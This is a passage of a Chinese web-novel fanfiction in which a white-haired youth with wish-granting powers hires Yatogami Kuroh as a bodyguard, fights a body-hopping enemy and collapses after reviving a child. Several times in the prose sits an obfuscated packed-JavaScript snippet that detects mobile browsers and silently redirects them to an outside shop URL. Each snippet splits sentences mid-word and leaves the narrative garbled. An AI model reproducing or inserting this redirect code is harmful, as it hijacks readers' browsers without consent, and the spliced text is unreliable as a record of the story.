他叹了口气,拉开手提包的拉链,从里头取出一只款式有些老旧的录音机,指尖停留在某一个按键上方,正要按下去的时候,背后忽然炸响一道惊恐错乱的喊声:“什么东西,给我滚开!!!” 夜刀神狗朗猝不及防地回头,迎面而来的是两发子弹。 第一发打偏了,将他手里的录音机轰成了渣。第二发被他的异能挡掉,子弹在无色的光屏上溅射出恐怖的火花,随后偏移轨道,猛地向废弃楼栋的某个窗口弹去。 随后,一只手狠狠地把他掼开。夜刀神狗朗还没反应过来,后脑勺往头上一磕,顿时被撞得头晕目眩。手上的录音机落地,逃命的家伙不管不顾地一脚踩过去,彻底将它踩成了碎片。 夜刀神狗朗的瞳孔震颤一瞬,怒火倏地从心底腾起:“站住!!混蛋——” 他猛地伸手探向腰间挂着的长刀,碰到刀柄的时候动作僵了一下,还是没拔出来,转而目光凛凛地抬起手掌,打算直接用异能把人抓回来。 恰在这时,眼前忽地闪过一缕雾气。 这雾气来得悄无声息,很快在小巷中爆开。 打坏他录音机的人眨眼间消失在浓雾中,夜刀神狗朗愤怒地往前两步,借由异能高高跃起,追着下方那道黑影,一头扎进涌动的浓雾中——随后,迅速被雾气错开了方向。 猎物在逃命。 漆黑的巷道仿佛永远看不到尽头,弥漫在身边的浓雾像是某种悬在头顶的催命符。 空气变得湿冷黏稠起来,鼻尖飘过些许腐臭气息,如同一脚踩进了腐烂流水的老鼠堆;脚下的路凹凸不平,肩膀有时会擦过潮湿冰冷的墙面,出门时体面光鲜的西装早已看不出原来的样子,一如他被恐惧和狰狞挤满的脸。 “摆个好看点的表情怎么样?” 前方的雾气里传来一道平静的声音。 “死得太难看,我不好交差。” 男人的脸皮抽搐一下,心中的恐惧值攀升到了顶峰。他豁出性命似的大叫一声,拔出手枪朝着四面八方的胡乱扫射一通,某一发子弹飞掠出去后,仿佛一并击穿了他的身体—— 短暂的停顿过后,血肉飞溅,他的身体变成一堆零散的碎块滚落在地。 面前的雾气里踏出一只漆黑的靴子,而后是同色的、幕布一般的衣摆。 “任务完成。” 凪夜一甩掉手上被子弹剐蹭出的血迹,尸体周围漂浮的雾刃随着他的动作一并消散。巷内的浓雾开始变淡,他向前走了两步,轻飘飘地起跳、又轻飘飘地落地,绕过地上的血泊后,从口袋里摸出震动的终端。 [N:解决了。自己过来收拾。] [▆▆:不愧是N!效率还是一如既往地高。顺带一提今晚有空吗?有人想见你一面。] [N:没空。] 他将一只手揣在口袋里,留下一只手漫不经心地敲打屏幕。这条信息发送出去以后,凪夜一的脚步忽然一顿,侧头看向右边巷子里,一位绑着黑色长马尾的少年正蹲在地上捡什么东西的碎片。 他的手有点发抖,动作却显得很珍惜。 凪夜一停顿片刻,脚步一转,走到他面前蹲下来,帮着一起捡了捡。 夜刀神狗朗微微抬头,发现是自己刚刚问过路的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019662|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,愣了一下:“……谢谢。” 凪夜一看了一眼,发现对方的眼眶有点红。他一边捡,一边问道:“这是什么?” 夜刀神狗朗闷声说道:“在下的重要之物。是……录有亡师三轮一言大人箴言的录音机。” “想把它复原吗?” 夜刀神狗朗愕然地抬起头。白发少年就蹲在他对面,一双翠瞳一眨不眨地盯着他,莫名的,带有些许让人信服的镇定。 他情不自禁攥紧了手心的碎片,忐忑地出声问道:“……要怎么做?” 凪夜一伸出一只手掌。 “报上你的名字,然后说,‘想要复原这只录音机’。” 啪。 清脆的击掌声过后,白光闪过,夜刀神狗朗手里的录音机恢复了原样。他蓦地瞪大了眼睛,不可置信地按下几个按键,确定录音机运转正常以后,他手忙脚乱地站起身,向这个比自己几岁的少年直直鞠了一躬:“今日的帮助,在下感激不尽!如果日后有什么需要我的地方,请尽管提出……” 他看了一下自己的手心,忽然顿了一下。 “你受伤了吗?” 他的手心里印上了一点血迹。凪夜一后知后觉自己伸出来的是哪只手,当着夜刀神狗朗的面将血污擦拭干净,露出完好无损的皮肤。 “没有。” 刚才的枪伤很快愈合,除了皮肉被撕开的时候稍微有点触感,后面基本上什么感觉都没有。 时间的法则抽走了他的痛觉,不算太坏,也绝对算不上好。毕竟这个样子,连他自己也要怀疑一下,自己到底还属不属于“人”的范畴了。 虽说如此,凪夜一的心中却很平静。 脑中一直紧绷着的弦不知从什么时候开始松开了,时常缠绕在心里的绝望与苦厄消弭不少。凪夜一决定向十束期望的那样尝试,不再茫然无助地捂着眼睛,浸泡在痛苦里徘徊不前。 他也站起来,递给对面的人一张手帕,再次将手塞回口袋里。 视线扫过对方挂在腰间的长刀,凪夜一忽然开口:“夜刀神。” 黑发少年一怔:“我在。” “你很擅长打架吗?” 夜刀神狗朗表情严肃地思索了一会,慎重地点了点头:“算是。” “你刚刚在找旅舍吧。”凪夜一随意地道,“暂时没地方去的话,要不要来当我的保镖?” 20.王剑高悬20 “如你所见,我完全不会打架,顶多只会逃命。但不巧的是,我最近麻烦缠身。” “不是什么大麻烦,对你来说很容易。”凪夜一说,“包吃住,报酬随便提。” 夜刀神狗朗犹豫一下,被他说动了。 他奉亡主之命,前来这座城市搜寻恶王的踪迹予以制裁,身上却并没有带多少钱,恶王没有露出马脚,他也暂时没有能去的地方。 既然如此,现下先找一份工作不失为一种明智之举…… 短暂的踌躇后,少年点了点头。 “需要我做什么?” 凪夜一说:“必要的时候听我指令就好。” 夜刀神狗朗提起手提包,跟着凪夜一走出这片错综复杂的小巷。经过某一段地方时,空气中隐约飘来黏稠的血腥味;前方的凪夜一恍若未觉,夜刀神狗朗往巷子深处看了一眼,脚步往前,很快也离开了这片地方。 回白日馆之前,凪夜一绕了个路,拐去一家物流站。 他当着夜刀神狗朗的面,旁若无人地从空气中拽出一只包装精致的盒子,提着它走进站点。 佩刀的少年很有自觉地守在外面,听见背后玻璃门内传来工作人员笑眯眯的问候声:“啊啦,凪君!还以为你今天不来了呢。还是老样子,给T先生寄的东西吧?” 原来他叫凪啊。夜刀神狗朗想。 “嗯。” 凪夜一把盒子递出去,低头在邮寄单上填上吠舞罗酒吧的地址,收件人那一行简单地写了个字母“T”。盒子里装的是他给十束多多良的礼物,每十天一次,物流站的工作人员因此也对他眼熟起来。 很快,他填好了表单递过去,顺便付了钱。出门之后,少年的目光落在对面街道上,目光微微一滞。 隔着一条车水马龙的街道,有一群人路过了。 染金的头发,细小的饰品,叮叮当当的铁链,个别人不太友好的长相。领头的是个身材高大的红发男人,鼻梁上驾着紫色眼镜的青年正在和他说话。另一位身形纤细的青年走在侧方,手里牵着个小姑娘,褐色的眼瞳中浸着温和的笑意。 他们的身边环绕着一大片人,每个人的神情都很放松,仿佛自成一个世界,与周围的环境格格不入。 凪夜一定在门口,目送他们远去。夜刀神狗朗站在他侧后方,出声问道:“那些是你的熟人吗?” 凪夜一双手插兜,左手腕上细碎的黄水晶与赤红纹章被他严严实实地藏进衣袖里。少年转身朝自己的目的地迈开脚步,风里飘来他没什么起伏的声音: “不认识。” * “十束,你在看什么?” 草薙的声音唤回了青年的注意力。 “那个啊,那个。”十束示意,“街对面。” 草薙的目光跟着追了过去,很快在对面熙熙攘攘的人流里,找到一头醒目的白发。 “啊,是他啊。上个月在酒吧外头看了很久的那个孩子。”草薙说,“怎么了?” 十束摇了摇头,目光轻轻地追着他的背影。“只是有点在意。” “下次碰到了再打招呼吧。不是要去办事吗?快走吧,一会还要找地方吃饭。”草薙叹了口气,“我说你啊,明天再有包裹来的话,就去好好查一下吧。一直默默无闻地寄东西,怎么想都让人很不安啊。” “诶……会吗?总感觉不是什么坏人呢。既然没露出名字,就说明不想我知道身份吧?” “没有恶意。” “连安娜也……” 他们的声音随着脚步逐渐远去。 凪夜一绕过街角,带着夜刀神狗朗走进一片略显荒凉的老街区。城市里偶尔也会存在这种地方,建筑低矮,空气潮湿,因为太过安静,显得没什么人气。 凪夜一推开其中某一栋建筑的门,进门之前,一缕代表着“出入许可”的白光悄无声息地飞进黑发少年的身体。夜刀神狗朗没有注意到这一点,一直有些忐忑的心在看见门内的景象时狠狠震了一下。 ……跟外面完全不一样。 内部空间大得吓人,风格温馨得不像是自己的雇主会住的地方。一位管家模样的紫发青年站在玄关,见人就鞠了一躬,用相当热烈的语气道:“欢迎回家,馆主大人,夜刀神大人!” 凪夜一面无表情道:“太夸张了。” “嘛,嘛,馆主大人总是这样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027593|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢尔提习以为常地推了推眼镜,将视线转向凪夜一背后,“房间已经准备好了,夜刀神大人。要和我一起来看看吗?” 夜刀神狗朗脸上泛起羞赧之色。他拘谨地站好,更加郑重地朝着谢尔提鞠了一躬:“麻烦您了!” 谢尔提捂住嘴,露出一种被认真的年轻人打动的陶醉表情。 凪夜一感觉没眼看,原本下午的休息计划立刻被他搁置掉,脚尖一转就往门外走。夜刀神狗朗发现了他的意图,刚刚追着走了两步,就听凪夜一道:“今天你先休息。” 少年关上门,将今天才认识的保镖和馆舍灵留在身后。 一踏出院子,他立刻感觉到自己进入了某个人的视线范围之内。 这场来自【绿】的明目张胆的监视已经持续了相当久一段时间,从“镇目町有一位能实现愿望的灵”这一传言出现之后。虽然已经到了差不多能习惯的程度,但凪夜一迈出门的一瞬间,还是忍不住皱起了眉头。 “嘛,嘛。忍一忍啦。”雾气说道,“现在的状况不是正合你意吗?” 啊,确实。绿之氏族像是趴在巨大网络背后的蜘蛛,氏族成员的数量无法估量——如果【绿】愿意,那么理论上,这座城市里将遍布他们的眼睛。 要想摸清绿王的意图,相比起从暗处往上一层一层摸查,主动暴露在对方的视野里,显然来得更省时省力。 世界上不存在没有贪欲的人。背后布的局越大,动的手脚越多,执念就越扭曲沉重。而在以往的世界里,传出与白日馆有关的某种流言、传闻,是凪夜一刷业绩单子屡试不爽的手段。 人会为了某些传闻趋之若鹜,再谨慎的人也一样。需要耗费的只有时间而已。 “想点开心的事情啦。”雾气宽慰他,“今天路过的时候十束和草薙他们回头看你了。你注意到了吧?打算什么时候回吠舞罗?” 凪夜一面无表情地往前走,周围若有若无的视线仍然如影随形。听见雾气的问题,他的眼瞳微不可察地一颤,目光往某个方向一斜,很快收归原位。 “呐,雾气。”他没回答这个问题,反而另外挑起话头,“总感觉应该把夜刀神带上。是我的错觉吗?” 21.王剑高悬21 原本出门的时候只是随口一说,但当凪夜一转头发现自己边上站的是谁以后,是真的有点后悔没把夜刀神带上了。 那是个外表普普通通的上班族,一身皱巴巴的西装,中规中矩的发型,驼背,怀里抱着有点年头的公文包,深陷的眼窝里凝固着经年累月的麻木和疲惫。 他和凪夜一并排站在十字路口等绿灯,脸上挂着弧度僵硬的笑。 很难形容那种笑容里究竟藏着什么,像是轻松,又像是愉悦,干瘪的皮壳里头包裹着呼之欲出的狂喜,与周围沉默疲惫的同类格格不入。 站在凪夜一的角度,能看见他颤抖个不停的瞳孔,马上就要忍不住手舞足蹈了似的,要多畅快有多畅快。 于是凪夜一也畅快地笑了,弯起的碧瞳里浸满让人头皮发麻的恶意,凑近他,用耳语似的音量说道:“之前不是说过,叫你这次藏好一点吗?” 无色的笑容僵了一下,转过脸看见是个不大不小的孩子,刚刚升起的一点戒备立刻烟消云散。 他认为凪夜一是在跟他开玩笑,但鉴于他现在心情很不错,弯下腰将距离拉得更近,也跟凪夜一开了个玩笑:“没人跟你说过,路上随便找人搭话,后果会很严重吗?就像这样——” 他伸出一只手蒙住自己的左眼,又做了个打开的姿势。 “啪——” 一条细白扭曲的东西从漆黑的瞳孔里钻出来,眨眼间窜到凪夜一的眼前。凪夜一反应神速地移开目光,雾刃以毫秒为单位凝成,险之又险地擦着无色的本体削过去。 那条东西发出一声猝不及防的惊叫,猛地缩回上班族的身体里,毫不犹豫地转身,拨开人群拔腿就跑。 凪夜一捂着眼睛,等待脑部神经被冲击的麻木感过去。 一缕浓郁的白色雾气从他身体中蔓延出来,擦着地面极速飞行,如同一条气势汹汹的恶犬,眨眼间咬住了无色寄居身体的脚踝,将它直接拽停在原地。周边的空气里,雾刃接二连三地涌现,随着少年抬起的手掌,缓缓对准了无色的方向。 上班族惊慌失措地转过头,神色崩溃地朝周围人群求救:“那是什么东西?谁来帮我一把!救命、救命!有人要杀我——骗你们的。呵、呵呵哈哈哈哈哈哈——!你以为这么轻易就能杀得了我?太天真了!” 周围发出巨大的骚动。有人开始拿起手机拍照,有人趴在对面的栏杆上呼唤附近的巡警。无色站在人群里头狂笑,趁着混乱猛地钻进一名路人女性的身体里,朝着凪夜一比了个“拜拜”的手势,融入了人群之中。 凪夜一连一秒的停顿都没有,雾刃立刻朝它消失的方向追去。 混乱的人群是天然的屏障,但雾气的速度很快,能精准地锁定无色每一任附身的对象。凪夜一踩着霓虹灯迷乱的灯光一路狂奔,追着它横跨半条街区,雾气紧随身后,一边跑一边出声:“喂喂喂……你这样跑没问题吗?” 很有问题,他的体力条已经快要到头了。无色轻松躲开身后轰歪的几道雾刃,踩着下行的楼梯跳上路灯顶,居高临下地投下目光。 “比我想象中的厉害一点啊。”它发出一声轻蔑的冷笑,声音在无人的空地回响,“不过也就到这里了。你的异能很有意思,下次再见面的时候,我们走着瞧。” 话音落下,它的本体离开寄生体,飞速冲进夜幕里。凪夜一目送它远去,眼中骇人的恶意与冷光眨眼间散得干干净净,回归毫无波澜的冷漠。 被附身的人失去意识,眼看着就要从路灯上栽下来,凪夜一用雾气将她从路灯上接下来放上草坪,随后向前走了两步,脱力地撑住路灯灯柱,蹲了下去。 “知道会累,就不要那么玩命地跑啊。”雾气说。 “安静……一……点……” 凪夜一的胸膛剧烈起伏,很快,急促的呼吸被他有意识地压下去。即便如此,他还是有点头晕,靠着路灯柱坐下,虚弱地道:“不这样跑的话,就什么都抓不住了。” 毕竟,白日馆定点传送需要具体坐标,用不了。 而他根本就没有那些异能人士标配的飞檐走壁的能力,非要说的话根本毫无战斗力,甚至体质也不是很好。碍于馆主守则,他不能主动伤人,操控雾气更多偏向威吓、引导对方对自己的敌意,一旦碰见突发情况,实际上的应对方式少得可怜。 “真是的。”雾气叹了口气,“你试探出什么了?” “很多。” 凪夜一垂着头,轻轻按揉自己的太阳穴。周围的环境算不上安静,背后时不时有车开过,路边站着三三两两的行人,空气中挤满微妙的噪音,一深一浅地刺激着他迟钝的神经。 半阖的碧绿眼瞳蒙在阴影里,空落落的,视线有点涣散。他几乎是强迫自己镇定下来,顺着源头开始梳理思绪,声音落在空气里,像是含糊不清的呓语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033429|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“第一,它的附身能力有上限,不能无限制发动。” “第二,只是单纯的附身,不会挤压吸食被附身人的意识。这意味着我无法将附身人视作尸体,用一些方法将他逼出来。” “第三,除了精神攻击,它没有别的攻击手段。第四,这是个狂妄自大的胆小鬼,空有野心的蠢货,没有正面应对敌人的胆量。引导敌意不可行,要找别的途径。” “第五,只是我的猜测。它应该还处于能力觉醒不久,正在寻找试验品的阶段。这段时间是蛰伏期,它为了试验能力,身体会不停更换,要追踪到它的本体很难。今晚是运气到了,能直接处理掉最好,杀不掉也在意料之中。” “碰巧的是,它……” “……大哥哥?” 前方很近的地方忽然响起一个细细的、柔软的声音,打断了凪夜一的思绪。 他抬头一看,发现一个小姑娘不知道什么时候站到了自己面前。她一只手牵着自己的妈妈,另一只手伸过来,小小的手掌里摆着一颗色彩斑斓的糖。 见凪夜一抬头看她,小姑娘眨了眨眼睛,有点不好意思地将脸藏进妈妈的臂弯里。旁边的妈妈无奈地揉了揉她的头,她才又鼓起勇气,认认真真地开口道:“不舒服、不开心的时候,要吃糖!” 凪夜一愣了一下。 “抱歉,这孩子无论如何都说要过来看看……”这位面善的中年妇女关切道,“你还好吗?是有哪里不舒服吗?” 凪夜一升起一种,猝不及防被拽进另一个世界的感觉。那是有十束他们在的、漂浮着很多爱的一方,与他平常的生活处于完全不同的两个维度。 他抿紧唇,将那枚糖果接过来。 “没事。谢谢。” 小姑娘眼睛里头浮起亮晶晶的光彩。目标达成,她牵着妈妈的手倒走几步,一边高高兴兴地跟凪夜一挥手道别。 等她们走远,凪夜一剥开糖纸,将小小的红色糖果塞进口中,隐约尝到一点甜味。 他用舌尖将糖球推来推去,很快咬碎,囫囵咽了下去。这段时间里,少年微微垂着眼睛,脑袋里什么都没想,罕见的有点空白。 几十秒后,他被不远处刺耳的刹车与碰撞声惊醒了。数米之外的十字路口传来女人崩溃的尖叫,凪夜一慢半拍转过头,在漆黑的沥青路面上找到一具一动不动的小小身体,以及她身下淌出的、赤红刺目的血泊。 22.王剑高悬22 “不妙啊。”雾气也盯着那边看,“身体弯折成那样,一定活不了了吧——你是不是这么想的?” “还活着呢!不过再流血下去就救不回来了。怎么样夜一,你打算怎么做?” 【绿】的视线依旧存在。他们需要一个奇迹,凪夜一也需要。 从路灯到车祸现场,只有几十米的距离。凪夜一走得很快,避过逐渐汇聚的人群,靠近了车祸现场。 刚刚给他递糖的那个小女孩蜷缩在血泊中央,中年妇人跪坐在一旁歇斯底里地大哭。已经有巡警朝这边赶来,警笛的红光与路边的霓虹灯光混在一起,交织出一种糜烂冰冷的颜色。 凪夜一的行动很快引起了路人的注意,人群发出一阵唏嘘骚动。有人提醒他不要靠近,少年充耳不闻,越过某条约定俗成的警戒线,在事故中心蹲下身,向着血泊中央的小姑娘伸出手。 ——随后,他的手立刻被抓住了。 “救、救救我女儿……求求你了……谁打一下救护车的电话……救救她!!” 妇人神志不清,歇斯底里地嚎啕大哭。凪夜一的手腕被他紧紧攥着,修剪得当的指甲在少年皮肤上划出几道深深的血痕。 失去痛觉的情况下,其余感官变得异常清晰。凪夜一能清晰感受到皮肤被撕裂的过程,血液顺着手腕流淌,将赤红的纹章染得更红。 恍然间,他回想起了将狱门疆丢进海里的那个人。 同样是为了孩子求救,同样抱着血肉模糊的一团。那时的白日馆刚从即将散架的窘境恢复过来,剩下的愿力不足以将死去的人复活,这次的情况却不一样了。 凪夜一低垂着眼帘,双膝落地,也跟她一样跪坐进血泊里,膝头和衣摆浸满鲜血。他将妇人的手从手腕上摘下来,用双手拢住了她的手掌,两人肩靠着肩坐在一起,少年低声朝她说了些什么,弧度温和的眉眼在灯光中模糊不清。 很快,奇迹发生了。 倒在血泊里的孩子动了动,一股力量支撑着她翻身坐起来,抱住妈妈嚎啕大哭。母亲则抱着孩子又哭又笑,救护车很快到来,医护人员将现场包围,用担架将小姑娘抬走。 凪夜一低头坐在原地,没有动。 雾气转化为更加稀薄、更不易让人发现的形式围绕在他身边,为他隔离出一片尚且安静、安全的地域。它用余光关注周围人类的行动,主要的注意力放在凪夜一身上,心中暗道不妙。 少年跪坐在原地,姿态安静得有些诡异。仔细一看,他的视线定定地盯着地面,两只眼瞳像是褪色的玻璃球,藏在白色的眼睫下,显得黯淡无光。 无论周围有多吵,有什么人朝他搭话,他都没有反应。就这么坐着,像是一尊僵硬的石雕。 不妙啊。这家伙力量透支了。 “喂,夜一。” 它尝试着喊了两声,没有反应。力量透支的滋味不好受,他现在应该已经看不清东西,也听不见什么声音了。 正因如此,才不能让他这么继续坐下去。白日馆为了规避法则,通常情况下不能出现在非契约人面前,就算雾气想用馆舍将少年回收,也得等到人流散去的时候。 但事故已经处理完成,路口的人却并没有离开的趋势。 他们围在一起,交头接耳、窃窃私语,有的举起手机拍照,有的就站在路边,眼睛一眨不眨地盯着这边看。馆舍灵不是人类,在它的眼中,人类是另一种复杂无比、难以理解的物种。凪夜一是人类中的异类,拥有更为简单纯粹的底色,雾气想要去理解他,偶尔有福至心灵的时候,能窥见他眼中世界的一角—— 就像现在。围在路口的人群,像是一团巨大、扭曲的黑色杂线。他们交织在一起,没有脸、没有身躯,每每有声音传出就应声扭动,十分的诡异,又有些……恐怖。 如果这家伙眼里看见的一直是这种景象……那么就算是在人间行走,不也如同走在满是鬼怪的异世吗? 总之先想办法带他走吧。 雾气刚准备行动,余光忽然瞥见一个影子,视线立刻追了过去。 “喂,夜一,醒醒!”它提高了音量,“十束来了!” 青年不知道什么时候已经走到了几步之外,担忧地在少年面前蹲下。 他刚准备开口,就听凪夜一喃喃道:“多多良啊……” 青年伸出的手一顿。 他微微垂着头,耳钉在亚麻色的发间闪烁着柔和的光泽。 “果然,我们好像认识呢。”他声音温和地道,递到凪夜一面前的那只手很稳,“你还好吗?能站起来吗?” 凪夜一的视野发黑,视线努力为他勾勒出物体的形状。十束的肤色很白,能看清那是一只手,声音也很熟悉,隔着尖锐的耳鸣勉强能听清楚内容。 但他僵坐着,仍然没有给出雾气想象中的反应。它惊了一下,看了看十束,又看了看凪夜一,这才猛地反应过来: 这小子又犯病了! 十束的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044188|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死给他留下阴影了。要么他觉得现在面前这个十束是他的幻觉,要么就是知道是真的,但是觉得自己迟早要走,不打算再过多接触徒增痛苦。 雾气凑到他耳边,阴恻恻地道:“这可不是幻觉啊。你的脑子还醒着吗?” 意识连接的另一头,传来少年虚弱的心声:我醒着。你能别讲话了吗?好吵。 这是真的。馆舍的优先级最高,在凪夜一被耳鸣占领的听觉里,雾气的声音就像装了几十个扩音喇叭一样,在他脑袋里轰隆隆地回响。 听他这么说,雾气顿时怒了:“喂!!” 这声音如同一道惊雷。 “啪”的一声,凪夜一努力维持清醒的最后一根弦断了。少年失去意识,向前栽倒,十束刚要接人,另一只手臂横空出现,猛地将人截走。 是一位黑发少年,长发凌乱地披散在肩头,显然头发都没来得及束就匆匆跑出来了。 他稳稳地将凪夜一捞起来放到背上,摸了一手黏糊糊的血,因此表情很凶地皱着眉头:“怎么一会不见就搞成这样……” 十束也跟着站起来,眨了下眼睛,问道:“你是他的朋友吗?” 夜刀神狗朗的表情有点不自然:“啊……算是。” 其实是雇主。 凪夜一的脸埋在他的肩头,细雪一般的白发遮住了眉眼。十束莫名能想象到它的触感,收回目光,又问道:“能告诉我他叫什么名字吗?如果可以的话,住址……” 夜刀神狗朗犹犹豫豫地说:“……凪。” “什么?” 他停顿了一下,遵从忽然出现在自己脑海中的谢尔提的声音说道:“凪。凪夜一,他的名字。再见。” 说完这句,他毫不犹豫地背着人走了。十束站在原地,目送他们离去,口袋里的终端震了两下。 他接通电话,耳边传来草薙的声音:“你到家了吗?路口那边好像发生车祸了啊,你没事吧?” “我没事,放心啦。”十束迟疑了一下,还是问道:“我们那儿,有没有一位白头发、十五六岁的成员?” “哈?”草薙说,“除了安娜,哪还有白头发啊。” 不,有的。 十束心道。 刚刚那位少年的手腕上,虽然被血染得有些模糊,但他一眼就认出来,是吠舞罗的印章。 挂断电话,青年将终端揣进兜里,仰着头叹了口气。 “啊啊……这下怎么办才好呢?” 23.王剑高悬23 事故中心最后一位有关人员离开,围在路口的人群逐渐散去。 夜刀神狗朗背着凪夜一走了一段,忽然察觉到背后有一道隐隐约约的视线。 他立刻停下脚步,转头搜索视线的来源。 地面,空空如也。楼栋中间,没有。 视线向上拔升,在层层叠叠的高楼顶上找到一个模糊的影子。那人坐在天台边缘,背后是被霓虹灯染出各种颜色的夜空。 这就是他说的“麻烦缠身”吗? 这个距离再怎么看都看不清,夜刀神收回目光,在谢尔提的催促下背着凪夜一离开了。 而在数百米外的高楼上,监视者微微向前探身,昳丽的紫色眼瞳中泛起奇异的光泽。 “竟然注意到了……”御神勺紫兴致盎然地握紧太刀的刀柄,“不愧是小狗朗。” “紫。”一直停在他肩膀上的鹦鹉琴坂忽然出声道,“流说,任务结束,你可以回去了。” “嗨~嗨~” 身材高挑的青年站起来伸了个懒腰,拉长声音抱怨:“终于结束了啊。监视人可真不好做,天天熬大夜,皮肤都要熬坏了。” 他提着太刀,脚下忽然泛起一阵绿色的波纹。御神勺紫向后退了两步,“道反酱来接我了?” 波纹里冒出一颗装备严实的头,和一道失真的机械音。 “须久那又在耍横。跟我走。” 回到地下基地的时候,还没推开门,御神勺紫就听见五条须久那誓死不屈的抗议声:“我不去。无聊死了!” 御神勺紫推开门。 “嘛嘛,先不要吵,须久那酱。又发生什么事了?” 众人的目光都移向他。 “辛苦了,紫。欢迎回来。”比水流轻声说。他今天心情似乎很不错,御神勺紫从他表情很少的脸上找到几分微笑,“我都看到了。很好用的能力呢,几乎可以用奇迹来形容了。” 御神勺紫表示赞同。他把武器放下,进屋找地方坐。 “要把这个奇迹抓回来吗?” 比水流摇了摇头。因为身体原因,他说话的音量不大,语速很慢,显得游刃有余。 “不要对宝贵的合作者动粗。”他说,“再观察一段时间。必要的时候,我会去与他对话的。说起这个……紫,你的任务结束了,接下来换须久那去,” 御神勺紫有点意外:“为什么?” “还不是因为紫一看见那条黑犬就会头脑发热啊!”五条须久那抓狂道,“我不去!!紫不是说那家伙虽然异能看起来是很厉害,但本身其实根本就没什么战斗力吗!监视他跟让我盯着一款无聊透顶的单机游戏还不让我玩有什么区别啊!” 磐舟天鸡夸奖他:“须久那的比喻能力又进步了!” “磐先生!” “须久那。”比水流将目光转向他,语气依旧平和,并没有因为他的任性而生气,“不会很久的。” 五条须久那像被针扎破的气球,一下蔫了。 “……好吧。”他闷闷不乐地答应,“就这一次啊。” 御神勺紫弯起唇角。他对着镜子察看自己的皮肤状态,语气轻松地提醒道:“给你一个忠告,须久那酱。千万不要对他动手哦。——千万不要。” 五条须久那凶巴巴地道:“如果动手了会怎么样?” 御神勺紫嘴角的笑容隐去。他脸上的神色前所未有的严肃,紫色的眼瞳中泛着凝重的冷光。 “会死吧……大概。” 凪夜一在白日馆内睁开眼睛。如同被人从冰冷的水底拉起来,他深深地吸了一口气,从床上坐起来,揉了揉自己的太阳穴。 身上的血迹脏污被好好清理过了,衣服也重新换了一套,身体没有什么明显的不适,在睡眠中已经自动修复完成。 他习惯性地去找狱门疆,找到以后才放下心,问床边站着的谢尔提:“我睡了多久?” 谢尔提双眼弯弯地回答:“没有多久,馆主大人。按外面的时间算,您只睡了八个小时不到。” “夜刀神呢?” 谢尔提回答道:“正在处理您的‘麻烦’哦。” 话音刚落,夜刀神狗朗推门走进来了。看见凪夜一已经坐起来,神色关切道:“现在感觉怎么样?你之前是怎么回事?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056529|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还好。”凪夜一道,“你把外面那些家伙赶跑了吗?” 提起这个,夜刀神狗朗神色别扭地点了点头。 ——凪夜一昏睡的时候,谢尔提向他解释了他的主要职责。 “这附近安静是安静,就是有些太荒凉了。”谢尔提露出为难的神色,“经常会有小帮派和一些性质不良的团体来这边火并呢。” “如果只是枪支战还好,但经常有人悄悄潜入楼栋里安装炸弹,我们的房子已经被炸垮好几次了,搬家很费精力的。夜刀神大人,能麻烦您把他们赶跑吗?” “我还以为你的麻烦是监视者。”他姿态端正地握着着自己武器的刀柄,“只是这些家伙的话,为什么不住到更安全一点的地方去?你……这是什么?” 夜刀神的话语顿了顿。递到面前的是一张卡,凪夜一捏着它,动作轻飘飘的。 “工资。”他说。 